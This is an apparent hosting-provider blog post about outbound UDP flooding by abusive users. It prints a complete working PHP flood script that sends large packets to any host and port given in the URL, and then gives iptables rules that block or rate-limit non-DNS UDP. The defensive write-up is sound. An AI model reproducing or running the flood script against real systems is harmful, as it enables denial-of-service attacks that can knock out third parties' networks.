Recently, at AppFog, we encountered a series of abusive users attempting to cause havoc by flooding UDP.
Some basic iptables settings can prevent this kind of thing from happening.
The Attacker
Here's an example of the kinds of apps that were being used. This simple PHP app floods random UDP ports with very large packets continuously. This can degrade or cause failure for an entire subnet.
1<?php
2ignore_user_abort(TRUE);
3set_time_limit(0);
4if(!isset($_GET['h']))
5 exit('Hello World');
6$lol = gethostbyname($_GET['h']);
7$out = 'v';
8for($i=0;$i<65535;$i++) $out .= 'X';
9$dt = 10;
10if(isset($_GET['t']))
11 $dt = (int)$_GET['t'];
12if(isset($_GET['type']))
13{
14 if($_GET['type'] == 'tcp')
15 {
16 $posttype = 'tcp://';
17 }
18 else
19 {
20 $posttype = 'udp://';
21 }
22}
23else
24{
25 $posttype = 'udp://';
26}
27$ti = time();
28$mt = $ti + $dt;
29while(time() < $mt){
30 if(isset($_GET['p']))
31 $port = $_GET['p'];
32 else $port = rand(1,65000);
33 $sock = fsockopen($posttype.$lol, $port, $errno, $errstr, 1);
34 if($sock){
35 ++$p;
36 $fwriteFile = fwrite($sock, $out);
37 fclose($sock);
38 }
39}
40$ps = round(($p*65536)/1024/1024, 3);
41$dt = time() - $ti;
42echo "$lol flooded with $p packets. $ps MB sent over $dt seconds. ( ".round($ps / $dt, 3)." MB/s ) $fwriteFile";
The Solution
Generally speaking, there's no need to allow UDP traffic other than DNS.
All non-essential UDP traffic can be completely blocked with the following settings:
1# allow dns requests to google nameservers
2iptables -A OUTPUT -p udp --dport 53 -d 8.8.8.8 -j ACCEPT
3iptables -A OUTPUT -p udp --dport 53 -d 8.8.4.4 -j ACCEPT
4
5
6# block all other udp
7iptables -A OUTPUT -p udp -j DROP
8ip6tables -A OUTPUT -p udp -j DROP
Gist: https://gist.github.com/thoward/24b0102355331dd6dd3b
Alternatively, rate limiting can be employed as a more tolerant measure:
1# Outbound UDP Flood protection in a user defined chain.
2iptables -N udp-flood
3iptables -A OUTPUT -p udp -j udp-flood
4iptables -A udp-flood -p udp -m limit --limit 50/s -j RETURN
5iptables -A udp-flood -j LOG --log-level 4 --log-prefix 'UDP-flood attempt: '
6iptables -A udp-flood -j DROP
Gist: https://gist.github.com/thoward/6180165
Note: You'll probably want to remove the log entry before this goes to production. Disks filling up with logs from rate limiting can crash your servers too!